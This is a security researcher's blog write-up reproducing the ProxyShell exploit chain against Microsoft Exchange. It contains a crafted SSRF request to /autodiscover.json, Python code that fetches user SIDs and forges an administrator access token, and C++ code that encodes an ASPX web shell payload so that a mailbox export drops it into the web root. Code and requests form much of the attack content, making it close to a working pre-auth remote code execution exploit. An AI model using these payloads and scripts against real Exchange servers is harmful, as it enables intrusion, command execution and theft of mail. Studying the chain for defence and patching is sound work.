Skip to the content.
16 August 2021

My journey to reproduce the Proxyshell exploit chain (reported by Orange Tsai)

by Quang Vo

ProxyShell Microsoft Exchange

Reference:

1. Pre-auth SSRF

The endpoint /autodiscover.json is one of the endpoints that we can access without authentication

image

If our URL end with /autodiscover.json , ClientRequest will fetch the param Email

image

explicitLogonAddress must contains valid email address

So if our explicitLogonAddress=/autodiscover/autodiscover.json?a=a@test.com then the /autodiscover/autodiscover.json?a=a@test.com part will be removed from the URI.

ex:

http://exchange.local/autodiscover/autodiscover.json@test.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3F@test.com

Will become

http://exchange.local/mapi/nspi?&Email=autodiscover/autodiscover.json%3F@test.com

When preparing request to send to backend internal, Exchange will generate Kerberos auth header and attach into Authorization header. This is why we can reach some other endpoint without any authentication

The Fatal erase:

GET /autodiscover/autodiscover.json?@test.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/2
Host: exchange.local
Cookie: cookieTest=1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
Request-Id: 505bae40-9e29-4c22-9bb6-68686012d721
X-Calculatedbetarget: win-mkl80dild4h.exchange.local
X-Serverapplication: Exchange/15.01.2176.009
X-Diaginfo: WIN-MKL80DILD4H
X-Beserver: WIN-MKL80DILD4H
X-Aspnet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Thu, 15-Aug-1991 03:08:59 GMT; path=/autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-Feserver: WIN-MKL80DILD4H
Date: Sun, 15 Aug 2021 03:08:58 GMT
Content-Length: 553

<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.1.2176.9<br>Vdir Path: /mapi/nspi/<br><br></p><p>

image

We archieved the Pre-auth SSRF, direct access to Exchange Server back-end !!!

2. Exchange Powershell Remoting

The Exchange PowerShell Remoting is built upon PowerShell API and uses the Runspace for isolations. All operations are based on WinRM protocol

We need to look for the way to access /powershell endpoint, by accessing /powershell endpoint, we are one-step closer to the final goal - RCE

From Orange Tsai’s talk, he said that because we access the endpoint with NT\SYSTEM priviledge, we will fail the business logic since SYSTEM does not have any mailbox.

We cannot forge the X-CommonAccessToken because it’s in the blacklisted cookies/headers

image

A few modules we should pay attention to

Microsoft.Exchange.Security
Microsoft.Exchange.PwshClient
Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule
BackendRehydrationModule

From the Orange Tsai’s talk, we know that the BackendRehydrationModule play an important part in authentication process

image

Microsoft.Exchange.Security.Authentication.BackendRehydrationModule

image

We cannot access /powershell endpoint because we don’t have X-CommonAccessToken header, we cannot forge the X-CommonAccessToken: <token> to impersonate other user because X-CommonAccessToken is in the blacklisted headers. So what to do ?

Lucky for us, we have a module is called before the BackendRehydrationModule and it extract Access-Token fromURL

Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule

image

image

The code’s logic look for X-CommonAccessToken header, if the header is not exist, it will extract X-RPS-CAT param and deserialize it as a Access Token (X-CommonAccessToken )

Microsoft.Exchange.Security.Authorization.CommonAccessToken ( serialization process)

image

Microsoft.Exchange.Security.Authorization.CommonAccessToken (deserialization process)

image

The pseudo code for the token deserialization:

V + this.Version + T + this.TokenType C + compress + data
if compress => decompress
if AccessTokenType is Windows => DeserializeFromToken

image

image

Pseudo code for DeserializeFromToken

A + this.AuthenticationType + L + this.LogonName + U + UserSID + G + Group Length + GroupSids

Now, we can craft an admin privilege CommonAccessToken via “X-Rps-CAT” parameter since we know how the Token is constructed

We need a UserSID to craft our token

def get_sid(url: str, email: str):

    print("[-] Getting LegacyDN")
    body = f"""
        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{email}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>
    """

    autodiscover_url = url + f"/autodiscover/autodiscover.json?@test.com/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@test.com"
    resp = requests.post(autodiscover_url, headers={
        "Content-Type": "text/xml"
    }, data=body.encode("utf-8"), verify=False)
    autodiscover_xml = ET.fromstring(resp.text)
    legacydn = autodiscover_xml.find('{*}Response/{*}User/{*}LegacyDN').text
    print("[+] Successfully get LegacyDN")
    data = legacydn
    data += '\x00\x00\x00\x00\x00\xe4\x04'
    data += '\x00\x00\x09\x04\x00\x00\x09'
    data += '\x04\x00\x00\x00\x00\x00\x00'

    headers = {
        "X-Requesttype": 'Connect',
        "X-Clientapplication": 'Outlook/15.1.2176.9',
        "X-Requestid": 'anything',
        'Content-Type': 'application/mapi-http'
    }
    print("[-] Getting User SID")
    sid_endpoint = url + f"/autodiscover/autodiscover.json?@test.com/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@test.com"
    resp = requests.post(sid_endpoint, data=data,
                         headers=headers, verify=False)
    sid = resp.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
    print("[+] Successfully get User SID")
    return sid

I copy the gen_token function from this amazing write up to help me build the poc script/

def gen_token(email: str, sid: str):
    # Credits: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    print("[-] Generating token")
    version = 0
    ttype = 'Windows'
    compressed = 0
    auth_type = 'Kerberos'
    raw_token = b''
    gsid = 'S-1-5-32-544'

    version_data = b'V' + (1).to_bytes(1, 'little') + \
        (version).to_bytes(1, 'little')
    type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
    compress_data = b'C' + (compressed).to_bytes(1, 'little')
    auth_data = b'A' + (len(auth_type)).to_bytes(1,
                                                 'little') + auth_type.encode()
    login_data = b'L' + (len(email)).to_bytes(1, 'little') + email.encode()
    user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
    group_data = b'G' + struct.pack('<II', 1, 7) + \
        (len(gsid)).to_bytes(1, 'little') + gsid.encode()
    ext_data = b'E' + struct.pack('>I', 0)

    raw_token += version_data
    raw_token += type_data
    raw_token += compress_data
    raw_token += auth_data
    raw_token += login_data
    raw_token += user_data
    raw_token += group_data
    raw_token += ext_data

    data = base64.b64encode(raw_token).decode()

    print(f"[+] Token generated: {data}")
    return data

Use the token to request to /powershell endpoint, if the server return with 200 status code, that means the token is accepted

image

So now, we can execute arbitrary Powershell code on the exchange server with Admin priviledge. But the Powershell Cmdlet module come with a very limited list of commands that we can execute. We want more than that !!!

3. Working with remote Powershell and archieved the post-auth RCE

Since we are now an admin of Exchange Server, there are many potential commands to abuse to get Post Auth RCE. I will use the New-MailboxExportRequest command

According to Microsoft docs, New-MailboxExportRequest allow us to export user’s mailbox to a file. That allow us to write arbitrary file to any location, we can write our shell to web root location of Exchange server.

This is where the arbitrary write file happens, the API doesn’t check that the exported files have to be a certain format extension, like .pst,..., so we can use that and export our payload to any file extension, like abc.aspx for example

ex:

New-MailboxExportRequest -Mailbox AylaKol -FilePath "\\SERVER01\PSTFileShare\Ayla_Recovered.pst"

The exported file is encoded and in PST format. Now come the fun part, how do we write the data to mailbox so that after the mail is exported into a PST file, it still a useable shell for us ?.

Follow Orange Tsai’s talk, he showed us how to encode the payload first and then send it to the Exchange Server, when the Exchange server try to save and export the file and encode it again, it will turns it into the orginal malicious code . This MS-doc will help us how to encode our shell before sending.

At the time I was writing this research, I haven’t found any way to implement this in python, so I copied the C++ code from Microsoft Blog and modify it a little bit

#include <stdio.h> 
#include <windows.h>
#include <string.h>
#include "base64.h"

BYTE mpbbCrypt[] =
{
     65,  54,  19,  98, 168,  33, 110, 187,
    244,  22, 204,   4, 127, 100, 232,  93,
     30, 242, 203,  42, 116, 197,  94,  53,
    210, 149,  71, 158, 150,  45, 154, 136,
     76, 125, 132,  63, 219, 172,  49, 182,
     72,  95, 246, 196, 216,  57, 139, 231,
     35,  59,  56, 142, 200, 193, 223,  37,
    177,  32, 165,  70,  96,  78, 156, 251,
    170, 211,  86,  81,  69, 124,  85,   0,
      7, 201,  43, 157, 133, 155,   9, 160,
    143, 173, 179,  15,  99, 171, 137,  75,
    215, 167,  21,  90, 113, 102,  66, 191,
     38,  74, 107, 152, 250, 234, 119,  83,
    178, 112,   5,  44, 253,  89,  58, 134,
    126, 206,   6, 235, 130, 120,  87, 199,
    141,  67, 175, 180,  28, 212,  91, 205,
    226, 233,  39,  79, 195,   8, 114, 128,
    207, 176, 239, 245,  40, 109, 190,  48,
     77,  52, 146, 213,  14,  60,  34,  50,
    229, 228, 249, 159, 194, 209,  10, 129,
     18, 225, 238, 145, 131, 118, 227, 151,
    230,  97, 138,  23, 121, 164, 183, 220,
    144, 122,  92, 140,   2, 166, 202, 105,
    222,  80,  26,  17, 147, 185,  82, 135,
     88, 252, 237,  29,  55,  73,  27, 106,
    224,  41,  51, 153, 189, 108, 217, 148,
    243,  64,  84, 111, 240, 198, 115, 184,
    214,  62, 101,  24,  68,  31, 221, 103,
     16, 241,  12,  25, 236, 174,   3, 161,
     20, 123, 169,  11, 255, 248, 163, 192,
    162,   1, 247,  46, 188,  36, 104, 117,
     13, 254, 186,  47, 181, 208, 218,  61,
     20,  83,  15,  86, 179, 200, 122, 156,
    235, 101,  72,  23,  22,  21, 159,   2,
    204,  84, 124, 131,   0,  13,  12,  11,
    162,  98, 168, 118, 219, 217, 237, 199,
    197, 164, 220, 172, 133, 116, 214, 208,
    167, 155, 174, 154, 150, 113, 102, 195,
     99, 153, 184, 221, 115, 146, 142, 132,
    125, 165,  94, 209,  93, 147, 177,  87,
     81,  80, 128, 137,  82, 148,  79,  78,
     10, 107, 188, 141, 127, 110,  71,  70,
     65,  64,  68,   1,  17, 203,   3,  63,
    247, 244, 225, 169, 143,  60,  58, 249,
    251, 240,  25,  48, 130,   9,  46, 201,
    157, 160, 134,  73, 238, 111,  77, 109,
    196,  45, 129,  52,  37, 135,  27, 136,
    170, 252,   6, 161,  18,  56, 253,  76,
     66, 114, 100,  19,  55,  36, 106, 117,
    119,  67, 255, 230, 180,  75,  54,  92,
    228, 216,  53,  61,  69, 185,  44, 236,
    183,  49,  43,  41,   7, 104, 163,  14,
    105, 123,  24, 158,  33,  57, 190,  40,
     26,  91, 120, 245,  35, 202,  42, 176,
    175,  62, 254,   4, 140, 231, 229, 152,
     50, 149, 211, 246,  74, 232, 166, 234,
    233, 243, 213,  47, 112,  32, 242,  31,
      5, 103, 173,  85,  16, 206, 205, 227,
     39,  59, 218, 186, 215, 194,  38, 212,
    145,  29, 210,  28,  34,  51, 248, 250,
    241,  90, 239, 207, 144, 182, 139, 181,
    189, 192, 191,   8, 151,  30, 108, 226,
     97, 224, 198, 193,  89, 171, 187,  88,
    222,  95, 223,  96, 121, 126, 178, 138,
     71, 241, 180, 230,  11, 106, 114,  72,
    133,  78, 158, 235, 226, 248, 148,  83,
    224, 187, 160,   2, 232,  90,   9, 171,
    219, 227, 186, 198, 124, 195,  16, 221,
     57,   5, 150,  48, 245,  55,  96, 130,
    140, 201,  19,  74, 107,  29, 243, 251,
    143,  38, 151, 202, 145,  23,   1, 196,
     50,  45, 110,  49, 149, 255, 217,  35,
    209,   0,  94, 121, 220,  68,  59,  26,
     40, 197,  97,  87,  32, 144,  61, 131,
    185,  67, 190, 103, 210,  70,  66, 118,
    192, 109,  91, 126, 178,  15,  22,  41,
     60, 169,   3,  84,  13, 218,  93, 223,
    246, 183, 199,  98, 205, 141,   6, 211,
    105,  92, 134, 214,  20, 247, 165, 102,
    117, 172, 177, 233,  69,  33, 112,  12,
    135, 159, 116, 164,  34,  76, 111, 191,
     31,  86, 170,  46, 179, 120,  51,  80,
    176, 163, 146, 188, 207,  25,  28, 167,
     99, 203,  30,  77,  62,  75,  27, 155,
     79, 231, 240, 238, 173,  58, 181,  89,
      4, 234,  64,  85,  37,  81, 229, 122,
    137,  56, 104,  82, 123, 252,  39, 174,
    215, 189, 250,   7, 244, 204, 142,  95,
    239,  53, 156, 132,  43,  21, 213, 119,
     52,  73, 182,  18,  10, 127, 113, 136,
    253, 157,  24,  65, 125, 147, 216,  88,
     44, 206, 254,  36, 175, 222, 184,  54,
    200, 161, 128, 166, 153, 152, 168,  47,
     14, 129, 101, 115, 228, 194, 162, 138,
    212, 225,  17, 208,   8, 139,  42, 242,
    237, 154, 100,  63, 193, 108, 249, 236
};

#define mpbbR   (mpbbCrypt)
#define mpbbS   (mpbbCrypt + 256)
#define mpbbI   (mpbbCrypt + 512)

void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
{
    // cb -> buffer size
    // pv -> buffer
    byte* pb = (byte*)pv;
    byte* pbTable = fEncrypt ? mpbbR : mpbbI;
    const DWORD* pdw = (const DWORD*)pv;
    DWORD         dwCurr;
    byte         b;


    if (cb >= sizeof(DWORD))
    {
        while (0 != (((DWORD_PTR)pb) % sizeof(DWORD)))
        {
            *pb = pbTable[*pb];
            pb++;
            cb--;
        }

        pdw = (const DWORD*)pb;
        for (; cb >= 4; cb -= 4)
        {
            dwCurr = *pdw;

            b = (byte)(dwCurr & 0xFF);
            *pb = pbTable[b];
            pb++;

            dwCurr = dwCurr >> 8;
            b = (byte)(dwCurr & 0xFF);
            *pb = pbTable[b];
            pb++;

            dwCurr = dwCurr >> 8;
            b = (byte)(dwCurr & 0xFF);
            *pb = pbTable[b];
            pb++;

            dwCurr = dwCurr >> 8;
            b = (byte)(dwCurr & 0xFF);
            *pb = pbTable[b];
            pb++;

            pdw++;
        }

        pb = (byte*)pdw;
    }

    for (; --cb >= 0; ++pb)
        *pb = pbTable[*pb];
}


void main() {
    char payload[] = "<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>";
    int length = strlen(payload);
    CryptPermute(payload, length, false);
    printf(payload);
    printf("\r\n\r\n");
    printf(base64_encode((unsigned char*)payload, length).c_str());
}

Got encodeded data in base64

image

Now we know how to encode our payload, how do we send mail to the Admin’s mailbox ?

The original talk from Orange Tsai, he delivered the payload through SMTP, but I like the Jang and PeterJson’s way more. That is EWS Impersonation

By sending request to /EWS/exchange.asmx . We can create an email and save it in Drafts for any user via SOAP header SerializedSecurityContext

image

image

That’s for the Post-Auth RCE part, for communicating with Remote Powershell, I follow the other researchers’s way. Use pypsrp, implement the proxy and forward requests to communicate with wsman

4. Chaining everything together - the ProxyShell

Now we have everything we need, let’s chain it together:

New-ManagementRoleAssignment -Role "Mailbox Import Export" -User email@email

POC video

Conclusion

This is a very nice exploit chain. For me, it wasn’t easy to reproduce this at all, I have to read and research a lot, that was the most fun part and I learnt a lot. Orange Tsai is an amazing researcher and I’m a big fan of his work.

I still haven’t understood the whole exploit chain, especially the Permuative Encoding part, so if anyone knows, please contact me via Twitter and explain it to me. I will appreciate it a lot ;)

tags: